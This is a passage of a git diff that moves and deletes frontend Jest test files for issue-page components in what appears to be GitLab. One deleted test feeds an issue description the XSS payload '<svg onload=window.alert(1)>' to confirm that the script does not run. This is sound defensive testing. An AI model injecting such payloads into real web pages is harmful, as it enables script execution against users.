- expect(document.querySelector('title').textContent.trim()).toContain('changed');
- });
- });
-
- describe('inline edit button', () => {
- it('should not show by default', () => {
- expect(vm.$el.querySelector('.btn-edit')).toBeNull();
- });
-
- it('should not show if canUpdate is false', () => {
- vm.showInlineEditButton = true;
- vm.canUpdate = false;
-
- expect(vm.$el.querySelector('.btn-edit')).toBeNull();
- });
-
- it('should show if showInlineEditButton and canUpdate', () => {
- vm.showInlineEditButton = true;
- vm.canUpdate = true;
-
- expect(vm.$el.querySelector('.btn-edit')).toBeDefined();
- });
-
- it('should trigger open.form event when clicked', () => {
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- vm.showInlineEditButton = true;
- vm.canUpdate = true;
-
- Vue.nextTick(() => {
- vm.$el.querySelector('.btn-edit').click();
-
- expect(eventHub.$emit).toHaveBeenCalledWith('open.form');
- });
- });
- });
-});
diff --git a/spec/frontend/issue_show/issue_spec.js b/spec/frontend/issue_show/issue_spec.js
deleted file mode 100644
index 76989413edb..00000000000
--- a/spec/frontend/issue_show/issue_spec.js
+++ /dev/null
@@ -1,40 +0,0 @@
-import MockAdapter from 'axios-mock-adapter';
-import waitForPromises from 'helpers/wait_for_promises';
-import { initIssuableApp } from '~/issue_show/issue';
-import * as parseData from '~/issue_show/utils/parse_data';
-import axios from '~/lib/utils/axios_utils';
-import createStore from '~/notes/stores';
-import { appProps } from './mock_data/mock_data';
-
-const mock = new MockAdapter(axios);
-mock.onGet().reply(200);
-
-jest.mock('~/lib/utils/poll');
-
-const setupHTML = (initialData) => {
- document.body.innerHTML = `<div id="js-issuable-app"></div>`;
- document.getElementById('js-issuable-app').dataset.initial = JSON.stringify(initialData);
-};
-
-describe('Issue show index', () => {
- describe('initIssueableApp', () => {
- it('should initialize app with no potential XSS attack', async () => {
- const alertSpy = jest.spyOn(window, 'alert').mockImplementation(() => {});
- const parseDataSpy = jest.spyOn(parseData, 'parseIssuableData');
-
- setupHTML({
- ...appProps,
- initialDescriptionHtml: '<svg onload=window.alert(1)>',
- });
-
- const initialDataEl = document.getElementById('js-issuable-app');
- const issuableData = parseData.parseIssuableData(initialDataEl);
- initIssuableApp(issuableData, createStore());
-
- await waitForPromises();
-
- expect(parseDataSpy).toHaveBeenCalled();
- expect(alertSpy).not.toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/issue_show/store_spec.js b/spec/frontend/issue_show/store_spec.js
deleted file mode 100644
index b7fd70bf00e..00000000000
--- a/spec/frontend/issue_show/store_spec.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import Store from '~/issue_show/stores';
-import updateDescription from '~/issue_show/utils/update_description';
-
-jest.mock('~/issue_show/utils/update_description');
-
-describe('Store', () => {
- let store;
-
- beforeEach(() => {
- store = new Store({
- descriptionHtml: '<p>This is a description</p>',
- });
- });
-
- describe('updateState', () => {
- beforeEach(() => {
- document.body.innerHTML = `
- <div class="detail-page-description content-block">
- <details open>
- <summary>One</summary>
- </details>
- <details>
- <summary>Two</summary>
- </details>
- </div>
- `;
- });
-
- afterEach(() => {
- document.getElementsByTagName('html')[0].innerHTML = '';
- });
-
- it('calls updateDetailsState', () => {
- store.updateState({ description: '' });
-
- expect(updateDescription).toHaveBeenCalledTimes(1);
- });
- });
-});
diff --git a/spec/frontend/issue_show/utils/update_description_spec.js b/spec/frontend/issue_show/utils/update_description_spec.js
deleted file mode 100644
index b2c6bd3c302..00000000000
--- a/spec/frontend/issue_show/utils/update_description_spec.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import updateDescription from '~/issue_show/utils/update_description';
-
-describe('updateDescription', () => {
- it('returns the correct value to be set as descriptionHtml', () => {
- const actual = updateDescription(
- '<details><summary>One</summary></details><details><summary>Two</summary></details>',
- [{ open: true }, { open: false }], // mocking NodeList from the dom.
- );
-
- expect(actual).toEqual(
- '<details open="true"><summary>One</summary></details><details><summary>Two</summary></details>',
- );
- });
-
- describe('when description details returned from api is different then whats currently on the dom', () => {
- it('returns the description from the api', () => {
- const dataDescription = '<details><summary>One</summary></details>';
-
- const actual = updateDescription(dataDescription, []);
-
- expect(actual).toEqual(dataDescription);
- });
- });
-});
diff --git a/spec/frontend/issue_spec.js b/spec/frontend/issue_spec.js
deleted file mode 100644
index 952ef54d286..00000000000
--- a/spec/frontend/issue_spec.js
+++ /dev/null
@@ -1,91 +0,0 @@
-import { getByText } from '@testing-library/dom';
-import MockAdapter from 'axios-mock-adapter';
-import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
-import Issue from '~/issue';
-import axios from '~/lib/utils/axios_utils';
-
-describe('Issue', () => {
- let testContext;
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- mock.onGet(/(.*)\/related_branches$/).reply(200, {});
-
- testContext = {};
- testContext.issue = new Issue();
- });
-
- afterEach(() => {
- mock.restore();
- testContext.issue.dispose();
- });
-
- const getIssueCounter = () => document.querySelector('.issue_counter');
- const getOpenStatusBox = () =>
- getByText(document, (_, el) => el.textContent.match(/Open/), {
- selector: '.status-box-open',
- });
- const getClosedStatusBox = () =>
- getByText(document, (_, el) => el.textContent.match(/Closed/), {
- selector: '.status-box-issue-closed',
- });
-
- describe.each`
- desc | isIssueInitiallyOpen | expectedCounterText
- ${'with an initially open issue'} | ${true} | ${'1,000'}
- ${'with an initially closed issue'} | ${false} | ${'1,002'}
- `('$desc', ({ isIssueInitiallyOpen, expectedCounterText }) => {
- beforeEach(() => {
- if (isIssueInitiallyOpen) {
- loadFixtures('issues/open-issue.html');
- } else {
- loadFixtures('issues/closed-issue.html');
- }
-
- testContext.issueCounter = getIssueCounter();
- testContext.statusBoxClosed = getClosedStatusBox();
- testContext.statusBoxOpen = getOpenStatusBox();
-
- testContext.issueCounter.textContent = '1,001';
- });
-
- it(`has the proper visible status box when ${isIssueInitiallyOpen ? 'open' : 'closed'}`, () => {
- if (isIssueInitiallyOpen) {
- expect(testContext.statusBoxClosed).toHaveClass('hidden');
- expect(testContext.statusBoxOpen).not.toHaveClass('hidden');
- } else {
- expect(testContext.statusBoxClosed).not.toHaveClass('hidden');
- expect(testContext.statusBoxOpen).toHaveClass('hidden');
- }
- });
-
- describe('when vue app triggers change', () => {
- beforeEach(() => {
- document.dispatchEvent(
- new CustomEvent(EVENT_ISSUABLE_VUE_APP_CHANGE, {
- detail: {
- data: { id: 1 },
- isClosed: isIssueInitiallyOpen,
- },
- }),
- );
- });
-
- it('displays correct status box', () => {
- if (isIssueInitiallyOpen) {
- expect(testContext.statusBoxClosed).not.toHaveClass('hidden');
- expect(testContext.statusBoxOpen).toHaveClass('hidden');
- } else {
- expect(testContext.statusBoxClosed).toHaveClass('hidden');
- expect(testContext.statusBoxOpen).not.toHaveClass('hidden');
- }
- });
-
- it('updates issueCounter text', () => {
- expect(testContext.issueCounter).toBeVisible();
- expect(testContext.issueCounter).toHaveText(expectedCounterText);
- });
- });
- });
-});
diff --git a/spec/frontend/issues/issue_spec.js b/spec/frontend/issues/issue_spec.js
new file mode 100644
index 00000000000..8a089b372ff
--- /dev/null
+++ b/spec/frontend/issues/issue_spec.js
@@ -0,0 +1,91 @@
+import { getByText } from '@testing-library/dom';
+import MockAdapter from 'axios-mock-adapter';
+import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
+import Issue from '~/issues/issue';
+import axios from '~/lib/utils/axios_utils';
+
+describe('Issue', () => {
+ let testContext;
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onGet(/(.*)\/related_branches$/).reply(200, {});
+
+ testContext = {};
+ testContext.issue = new Issue();
+ });
+
+ afterEach(() => {
+ mock.restore();
+ testContext.issue.dispose();
+ });
+
+ const getIssueCounter = () => document.querySelector('.issue_counter');
+ const getOpenStatusBox = () =>
+ getByText(document, (_, el) => el.textContent.match(/Open/), {
+ selector: '.status-box-open',
+ });
+ const getClosedStatusBox = () =>
+ getByText(document, (_, el) => el.textContent.match(/Closed/), {
+ selector: '.status-box-issue-closed',
+ });
+
+ describe.each`
+ desc | isIssueInitiallyOpen | expectedCounterText
+ ${'with an initially open issue'} | ${true} | ${'1,000'}
+ ${'with an initially closed issue'} | ${false} | ${'1,002'}
+ `('$desc', ({ isIssueInitiallyOpen, expectedCounterText }) => {
+ beforeEach(() => {
+ if (isIssueInitiallyOpen) {
+ loadFixtures('issues/open-issue.html');
+ } else {
+ loadFixtures('issues/closed-issue.html');
+ }
+
+ testContext.issueCounter = getIssueCounter();
+ testContext.statusBoxClosed = getClosedStatusBox();
+ testContext.statusBoxOpen = getOpenStatusBox();
+
+ testContext.issueCounter.textContent = '1,001';
+ });
+
+ it(`has the proper visible status box when ${isIssueInitiallyOpen ? 'open' : 'closed'}`, () => {
+ if (isIssueInitiallyOpen) {
+ expect(testContext.statusBoxClosed).toHaveClass('hidden');
+ expect(testContext.statusBoxOpen).not.toHaveClass('hidden');
+ } else {
+ expect(testContext.statusBoxClosed).not.toHaveClass('hidden');
+ expect(testContext.statusBoxOpen).toHaveClass('hidden');
+ }
+ });
+
+ describe('when vue app triggers change', () => {
+ beforeEach(() => {
+ document.dispatchEvent(
+ new CustomEvent(EVENT_ISSUABLE_VUE_APP_CHANGE, {
+ detail: {
+ data: { id: 1 },
+ isClosed: isIssueInitiallyOpen,
+ },
+ }),
+ );
+ });
+
+ it('displays correct status box', () => {
+ if (isIssueInitiallyOpen) {
+ expect(testContext.statusBoxClosed).not.toHaveClass('hidden');
+ expect(testContext.statusBoxOpen).toHaveClass('hidden');
+ } else {
+ expect(testContext.statusBoxClosed).toHaveClass('hidden');
+ expect(testContext.statusBoxOpen).not.toHaveClass('hidden');
+ }
+ });
+
+ it('updates issueCounter text', () => {
+ expect(testContext.issueCounter).toBeVisible();
+ expect(testContext.issueCounter).toHaveText(expectedCounterText);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/new/components/__snapshots__/type_popover_spec.js.snap b/spec/frontend/issues/new/components/__snapshots__/type_popover_spec.js.snap
new file mode 100644
index 00000000000..881dcda126f
--- /dev/null
+++ b/spec/frontend/issues/new/components/__snapshots__/type_popover_spec.js.snap
@@ -0,0 +1,52 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Issue type info popover renders 1`] = `
+<span
+ id="popovercontainer"
+>
+ <gl-icon-stub
+ class="gl-ml-5 gl-text-gray-500"
+ id="issue-type-info"
+ name="question-o"
+ size="16"
+ />
+
+ <gl-popover-stub
+ container="popovercontainer"
+ cssclasses=""
+ target="issue-type-info"
+ title="Issue types"
+ triggers="focus hover"
+ >
+ <ul
+ class="gl-list-style-none gl-p-0 gl-m-0"
+ >
+ <li
+ class="gl-mb-3"
+ >
+ <div
+ class="gl-font-weight-bold"
+ >
+ Issue
+ </div>
+
+ <span>
+ For general work
+ </span>
+ </li>
+
+ <li>
+ <div
+ class="gl-font-weight-bold"
+ >
+ Incident
+ </div>
+
+ <span>
+ For investigating IT service disruptions or outages
+ </span>
+ </li>
+ </ul>
+ </gl-popover-stub>
+</span>
+`;
diff --git a/spec/frontend/issues/new/components/title_suggestions_item_spec.js b/spec/frontend/issues/new/components/title_suggestions_item_spec.js
new file mode 100644
index 00000000000..5eb30b52de5
--- /dev/null
+++ b/spec/frontend/issues/new/components/title_suggestions_item_spec.js
@@ -0,0 +1,132 @@
+import { GlTooltip, GlLink, GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { TEST_HOST } from 'helpers/test_constants';
+import TitleSuggestionsItem from '~/issues/new/components/title_suggestions_item.vue';
+import UserAvatarImage from '~/vue_shared/components/user_avatar/user_avatar_image.vue';
+import mockData from '../mock_data';
+
+describe('Issue title suggestions item component', () => {
+ let wrapper;
+
+ function createComponent(suggestion = {}) {
+ wrapper = shallowMount(TitleSuggestionsItem, {
+ propsData: {
+ suggestion: {
+ ...mockData(),
+ ...suggestion,
+ },
+ },
+ });
+ }
+
+ const findLink = () => wrapper.findComponent(GlLink);
+ const findAuthorLink = () => wrapper.findAll(GlLink).at(1);
+ const findIcon = () => wrapper.findComponent(GlIcon);
+ const findTooltip = () => wrapper.findComponent(GlTooltip);
+ const findUserAvatar = () => wrapper.findComponent(UserAvatarImage);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders title', () => {
+ createComponent();
+
+ expect(wrapper.text()).toContain('Test issue');
+ });
+
+ it('renders issue link', () => {
+ createComponent();
+
+ expect(findLink().attributes('href')).toBe(`${TEST_HOST}/test/issue/1`);
+ });
+
+ it('renders IID', () => {
+ createComponent();
+
+ expect(wrapper.text()).toContain('#1');
+ });
+
+ describe('opened state', () => {
+ it('renders icon', () => {
+ createComponent();
+
+ expect(findIcon().props('name')).toBe('issue-open-m');
+ expect(findIcon().attributes('class')).toMatch('gl-text-green-500');
+ });
+
+ it('renders created timeago', () => {
+ createComponent({
+ closedAt: '',
+ });
+
+ expect(findTooltip().text()).toContain('Opened');
+ expect(findTooltip().text()).toContain('3 days ago');
+ });
+ });
+
+ describe('closed state', () => {
+ it('renders icon', () => {
+ createComponent({
+ state: 'closed',
+ });
+
+ expect(findIcon().props('name')).toBe('issue-close');
+ expect(findIcon().attributes('class')).toMatch('gl-text-blue-500');
+ });
+
+ it('renders closed timeago', () => {
+ createComponent();
+
+ expect(findTooltip().text()).toContain('Opened');
+ expect(findTooltip().text()).toContain('1 day ago');
+ });
+ });
+
+ describe('author', () => {
+ it('renders author info', () => {
+ createComponent();
+
+ expect(findAuthorLink().text()).toContain('Author Name');
+ expect(findAuthorLink().text()).toContain('@author.username');
+ });
+
+ it('renders author image', () => {
+ createComponent();
+
+ expect(findUserAvatar().props('imgSrc')).toBe(`${TEST_HOST}/avatar`);
+ });
+ });
+
+ describe('counts', () => {
+ it('renders upvotes count', () => {
+ createComponent();
+
+ const count = wrapper.findAll('.suggestion-counts span').at(0);
+
+ expect(count.text()).toContain('1');
+ expect(count.find(GlIcon).props('name')).toBe('thumb-up');
+ });
+
+ it('renders notes count', () => {
+ createComponent();
+
+ const count = wrapper.findAll('.suggestion-counts span').at(1);
+
+ expect(count.text()).toContain('2');
+ expect(count.find(GlIcon).props('name')).toBe('comment');
+ });
+ });
+
+ describe('confidential', () => {
+ it('renders confidential icon', () => {
+ createComponent({
+ confidential: true,
+ });
+
+ expect(findIcon().props('name')).toBe('eye-slash');
+ expect(findIcon().attributes('class')).toMatch('gl-text-orange-500');
+ expect(findIcon().attributes('title')).toBe('Confidential');
+ });
+ });
+});
diff --git a/spec/frontend/issues/new/components/title_suggestions_spec.js b/spec/frontend/issues/new/components/title_suggestions_spec.js
new file mode 100644
index 00000000000..984d0c9d25b
--- /dev/null
+++ b/spec/frontend/issues/new/components/title_suggestions_spec.js
@@ -0,0 +1,100 @@
+import { shallowMount } from '@vue/test-utils';
+import TitleSuggestions from '~/issues/new/components/title_suggestions.vue';
+import TitleSuggestionsItem from '~/issues/new/components/title_suggestions_item.vue';
+
+describe('Issue title suggestions component', () => {
+ let wrapper;
+
+ function createComponent(search = 'search') {
+ wrapper = shallowMount(TitleSuggestions, {
+ propsData: {
+ search,
+ projectPath: 'project',
+ },
+ });
+ }
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('does not render with empty search', () => {
+ wrapper.setProps({ search: '' });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.isVisible()).toBe(false);
+ });
+ });
+
+ describe('with data', () => {
+ let data;
+
+ beforeEach(() => {
+ data = { issues: [{ id: 1 }, { id: 2 }] };
+ });
+
+ it('renders component', () => {
+ wrapper.setData(data);
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.findAll('li').length).toBe(data.issues.length);
+ });
+ });
+
+ it('does not render with empty search', () => {
+ wrapper.setProps({ search: '' });
+ wrapper.setData(data);
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.isVisible()).toBe(false);
+ });
+ });
+
+ it('does not render when loading', () => {
+ wrapper.setData({
+ ...data,
+ loading: 1,
+ });
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.isVisible()).toBe(false);
+ });
+ });
+
+ it('does not render with empty issues data', () => {
+ wrapper.setData({ issues: [] });
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.isVisible()).toBe(false);
+ });
+ });
+
+ it('renders list of issues', () => {
+ wrapper.setData(data);
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.findAll(TitleSuggestionsItem).length).toBe(2);
+ });
+ });
+
+ it('adds margin class to first item', () => {
+ wrapper.setData(data);
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.findAll('li').at(0).classes()).toContain('gl-mb-3');
+ });
+ });
+
+ it('does not add margin class to last item', () => {
+ wrapper.setData(data);
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.findAll('li').at(1).classes()).not.toContain('gl-mb-3');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/new/components/type_popover_spec.js b/spec/frontend/issues/new/components/type_popover_spec.js
new file mode 100644
index 00000000000..fe3d5207516
--- /dev/null
+++ b/spec/frontend/issues/new/components/type_popover_spec.js
@@ -0,0 +1,20 @@
+import { shallowMount } from '@vue/test-utils';
+import TypePopover from '~/issues/new/components/type_popover.vue';
+
+describe('Issue type info popover', () => {
+ let wrapper;
+
+ function createComponent() {
+ wrapper = shallowMount(TypePopover);
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders', () => {
+ createComponent();
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+});
diff --git a/spec/frontend/issuable_suggestions/mock_data.js b/spec/frontend/issues/new/mock_data.js
index 74b569d9833..74b569d9833 100644
--- a/spec/frontend/issuable_suggestions/mock_data.js
+++ b/spec/frontend/issues/new/mock_data.js
diff --git a/spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js b/spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js
new file mode 100644
index 00000000000..4d780a674be
--- /dev/null
+++ b/spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js
@@ -0,0 +1,86 @@
+import { mount, createLocalVue } from '@vue/test-utils';
+import MockAdapter from 'axios-mock-adapter';
+import mockData from 'test_fixtures/issues/related_merge_requests.json';
+import axios from '~/lib/utils/axios_utils';
+import RelatedMergeRequests from '~/issues/related_merge_requests/components/related_merge_requests.vue';
+import createStore from '~/issues/related_merge_requests/store/index';
+import RelatedIssuableItem from '~/issuable/components/related_issuable_item.vue';
+
+const API_ENDPOINT = '/api/v4/projects/2/issues/33/related_merge_requests';
+const localVue = createLocalVue();
+
+describe('RelatedMergeRequests', () => {
+ let wrapper;
+ let mock;
+
+ beforeEach((done) => {
+ // put the fixture in DOM as the component expects
+ document.body.innerHTML = `<div id="js-issuable-app"></div>`;
+ document.getElementById('js-issuable-app').dataset.initial = JSON.stringify(mockData);
+
+ mock = new MockAdapter(axios);
+ mock.onGet(`${API_ENDPOINT}?per_page=100`).reply(200, mockData, { 'x-total': 2 });
+
+ wrapper = mount(localVue.extend(RelatedMergeRequests), {
+ localVue,
+ store: createStore(),
+ propsData: {
+ endpoint: API_ENDPOINT,
+ projectNamespace: 'gitlab-org',
+ projectPath: 'gitlab-ce',
+ },
+ });
+
+ setImmediate(done);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ mock.restore();
+ });
+
+ describe('methods', () => {
+ describe('getAssignees', () => {
+ const assignees = [{ name: 'foo' }, { name: 'bar' }];
+
+ describe('when there is assignees array', () => {
+ it('should return assignees array', () => {
+ const mr = { assignees };
+
+ expect(wrapper.vm.getAssignees(mr)).toEqual(assignees);
+ });
+ });
+
+ it('should return an array with single assingee', () => {
+ const mr = { assignee: assignees[0] };
+
+ expect(wrapper.vm.getAssignees(mr)).toEqual([assignees[0]]);
+ });
+
+ it('should return empty array when assignee is not set', () => {
+ expect(wrapper.vm.getAssignees({})).toEqual([]);
+ expect(wrapper.vm.getAssignees({ assignee: null })).toEqual([]);
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('should render related merge request items', () => {
+ expect(wrapper.find('[data-testid="count"]').text()).toBe('2');
+ expect(wrapper.findAll(RelatedIssuableItem)).toHaveLength(2);
+
+ const props = wrapper.findAll(RelatedIssuableItem).at(1).props();
+ const data = mockData[1];
+
+ expect(props.idKey).toEqual(data.id);
+ expect(props.pathIdSeparator).toEqual('!');
+ expect(props.pipelineStatus).toBe(data.head_pipeline.detailed_status);
+ expect(props.assignees).toEqual([data.assignee]);
+ expect(props.isMergeRequest).toBe(true);
+ expect(props.confidential).toEqual(false);
+ expect(props.title).toEqual(data.title);
+ expect(props.state).toEqual(data.state);
+ expect(props.createdAt).toEqual(data.created_at);
+ });
+ });
+});
diff --git a/spec/frontend/issues/related_merge_requests/store/actions_spec.js b/spec/frontend/issues/related_merge_requests/store/actions_spec.js
new file mode 100644
index 00000000000..5f232fee09b
--- /dev/null
+++ b/spec/frontend/issues/related_merge_requests/store/actions_spec.js
@@ -0,0 +1,113 @@
+import MockAdapter from 'axios-mock-adapter';
+import testAction from 'helpers/vuex_action_helper';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import * as actions from '~/issues/related_merge_requests/store/actions';
+import * as types from '~/issues/related_merge_requests/store/mutation_types';
+
+jest.mock('~/flash');
+
+describe('RelatedMergeRequest store actions', () => {
+ let state;
+ let mock;
+
+ beforeEach(() => {
+ state = {
+ apiEndpoint: '/api/related_merge_requests',
+ };
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ describe('setInitialState', () => {
+ it('commits types.SET_INITIAL_STATE with given props', (done) => {
+ const props = { a: 1, b: 2 };
+
+ testAction(
+ actions.setInitialState,
+ props,
+ {},
+ [{ type: types.SET_INITIAL_STATE, payload: props }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('requestData', () => {
+ it('commits types.REQUEST_DATA', (done) => {
+ testAction(actions.requestData, null, {}, [{ type: types.REQUEST_DATA }], [], done);
+ });
+ });
+
+ describe('receiveDataSuccess', () => {
+ it('commits types.RECEIVE_DATA_SUCCESS with data', (done) => {
+ const data = { a: 1, b: 2 };
+
+ testAction(
+ actions.receiveDataSuccess,
+ data,
+ {},
+ [{ type: types.RECEIVE_DATA_SUCCESS, payload: data }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('receiveDataError', () => {
+ it('commits types.RECEIVE_DATA_ERROR', (done) => {
+ testAction(
+ actions.receiveDataError,
+ null,
+ {},
+ [{ type: types.RECEIVE_DATA_ERROR }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('fetchMergeRequests', () => {
+ describe('for a successful request', () => {
+ it('should dispatch success action', (done) => {
+ const data = { a: 1 };
+ mock.onGet(`${state.apiEndpoint}?per_page=100`).replyOnce(200, data, { 'x-total': 2 });
+
+ testAction(
+ actions.fetchMergeRequests,
+ null,
+ state,
+ [],
+ [{ type: 'requestData' }, { type: 'receiveDataSuccess', payload: { data, total: 2 } }],
+ done,
+ );
+ });
+ });
+
+ describe('for a failing request', () => {
+ it('should dispatch error action', (done) => {
+ mock.onGet(`${state.apiEndpoint}?per_page=100`).replyOnce(400);
+
+ testAction(
+ actions.fetchMergeRequests,
+ null,
+ state,
+ [],
+ [{ type: 'requestData' }, { type: 'receiveDataError' }],
+ () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringMatching('Something went wrong'),
+ });
+
+ done();
+ },
+ );
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/related_merge_requests/store/mutations_spec.js b/spec/frontend/issues/related_merge_requests/store/mutations_spec.js
new file mode 100644
index 00000000000..0e3d26b3879
--- /dev/null
+++ b/spec/frontend/issues/related_merge_requests/store/mutations_spec.js
@@ -0,0 +1,49 @@
+import * as types from '~/issues/related_merge_requests/store/mutation_types';
+import mutations from '~/issues/related_merge_requests/store/mutations';
+
+describe('RelatedMergeRequests Store Mutations', () => {
+ describe('SET_INITIAL_STATE', () => {
+ it('should set initial state according to given data', () => {
+ const apiEndpoint = '/api';
+ const state = {};
+
+ mutations[types.SET_INITIAL_STATE](state, { apiEndpoint });
+
+ expect(state.apiEndpoint).toEqual(apiEndpoint);
+ });
+ });
+
+ describe('REQUEST_DATA', () => {
+ it('should set loading flag', () => {
+ const state = {};
+
+ mutations[types.REQUEST_DATA](state);
+
+ expect(state.isFetchingMergeRequests).toEqual(true);
+ });
+ });
+
+ describe('RECEIVE_DATA_SUCCESS', () => {
+ it('should set loading flag and data', () => {
+ const state = {};
+ const mrs = [1, 2, 3];
+
+ mutations[types.RECEIVE_DATA_SUCCESS](state, { data: mrs, total: mrs.length });
+
+ expect(state.isFetchingMergeRequests).toEqual(false);
+ expect(state.mergeRequests).toEqual(mrs);
+ expect(state.totalCount).toEqual(mrs.length);
+ });
+ });
+
+ describe('RECEIVE_DATA_ERROR', () => {
+ it('should set loading and error flags', () => {
+ const state = {};
+
+ mutations[types.RECEIVE_DATA_ERROR](state);
+
+ expect(state.isFetchingMergeRequests).toEqual(false);
+ expect(state.hasErrorFetchingMergeRequests).toEqual(true);
+ });
+ });
+});
diff --git a/spec/frontend/issues/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js b/spec/frontend/issues/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js
new file mode 100644
index 00000000000..5a51ae3cfe0
--- /dev/null
+++ b/spec/frontend/issues/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js
@@ -0,0 +1,82 @@
+import { GlLoadingIcon } from '@gitlab/ui';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import Vuex from 'vuex';
+import Stacktrace from '~/error_tracking/components/stacktrace.vue';
+import SentryErrorStackTrace from '~/issues/sentry_error_stack_trace/components/sentry_error_stack_trace.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('Sentry Error Stack Trace', () => {
+ let actions;
+ let getters;
+ let store;
+ let wrapper;
+
+ function mountComponent({
+ stubs = {
+ stacktrace: Stacktrace,
+ },
+ } = {}) {
+ wrapper = shallowMount(SentryErrorStackTrace, {
+ localVue,
+ stubs,
+ store,
+ propsData: {
+ issueStackTracePath: '/stacktrace',
+ },
+ });
+ }
+
+ beforeEach(() => {
+ actions = {
+ startPollingStacktrace: () => {},
+ };
+
+ getters = {
+ stacktrace: () => [{ context: [1, 2], lineNo: 53, filename: 'index.js' }],
+ };
+
+ const state = {
+ stacktraceData: {},
+ loadingStacktrace: true,
+ };
+
+ store = new Vuex.Store({
+ modules: {
+ details: {
+ namespaced: true,
+ actions,
+ getters,
+ state,
+ },
+ },
+ });
+ });
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ }
+ });
+
+ describe('loading', () => {
+ it('should show spinner while loading', () => {
+ mountComponent();
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ expect(wrapper.find(Stacktrace).exists()).toBe(false);
+ });
+ });
+
+ describe('Stack trace', () => {
+ beforeEach(() => {
+ store.state.details.loadingStacktrace = false;
+ });
+
+ it('should show stacktrace', () => {
+ mountComponent({ stubs: {} });
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
+ expect(wrapper.find(Stacktrace).exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/app_spec.js b/spec/frontend/issues/show/components/app_spec.js
new file mode 100644
index 00000000000..02db82b84dc
--- /dev/null
+++ b/spec/frontend/issues/show/components/app_spec.js
@@ -0,0 +1,645 @@
+import { GlIntersectionObserver } from '@gitlab/ui';
+import MockAdapter from 'axios-mock-adapter';
+import { nextTick } from 'vue';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import '~/behaviors/markdown/render_gfm';
+import { IssuableStatus, IssuableStatusText } from '~/issues/constants';
+import IssuableApp from '~/issues/show/components/app.vue';
+import DescriptionComponent from '~/issues/show/components/description.vue';
+import IncidentTabs from '~/issues/show/components/incidents/incident_tabs.vue';
+import PinnedLinks from '~/issues/show/components/pinned_links.vue';
+import { POLLING_DELAY } from '~/issues/show/constants';
+import eventHub from '~/issues/show/event_hub';
+import axios from '~/lib/utils/axios_utils';
+import { visitUrl } from '~/lib/utils/url_utility';
+import {
+ appProps,
+ initialRequest,
+ publishedIncidentUrl,
+ secondRequest,
+ zoomMeetingUrl,
+} from '../mock_data/mock_data';
+
+function formatText(text) {
+ return text.trim().replace(/\s\s+/g, ' ');
+}
+
+jest.mock('~/lib/utils/url_utility');
+jest.mock('~/issues/show/event_hub');
+
+const REALTIME_REQUEST_STACK = [initialRequest, secondRequest];
+
+describe('Issuable output', () => {
+ let mock;
+ let realtimeRequestCount = 0;
+ let wrapper;
+
+ const findStickyHeader = () => wrapper.findByTestId('issue-sticky-header');
+ const findLockedBadge = () => wrapper.findByTestId('locked');
+ const findConfidentialBadge = () => wrapper.findByTestId('confidential');
+ const findHiddenBadge = () => wrapper.findByTestId('hidden');
+ const findAlert = () => wrapper.find('.alert');
+
+ const mountComponent = (props = {}, options = {}, data = {}) => {
+ wrapper = mountExtended(IssuableApp, {
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ propsData: { ...appProps, ...props },
+ provide: {
+ fullPath: 'gitlab-org/incidents',
+ iid: '19',
+ uploadMetricsFeatureAvailable: false,
+ },
+ stubs: {
+ HighlightBar: true,
+ IncidentTabs: true,
+ },
+ data() {
+ return {
+ ...data,
+ };
+ },
+ ...options,
+ });
+ };
+
+ beforeEach(() => {
+ setFixtures(`
+ <div>
+ <title>Title</title>
+ <div class="detail-page-description content-block">
+ <details open>
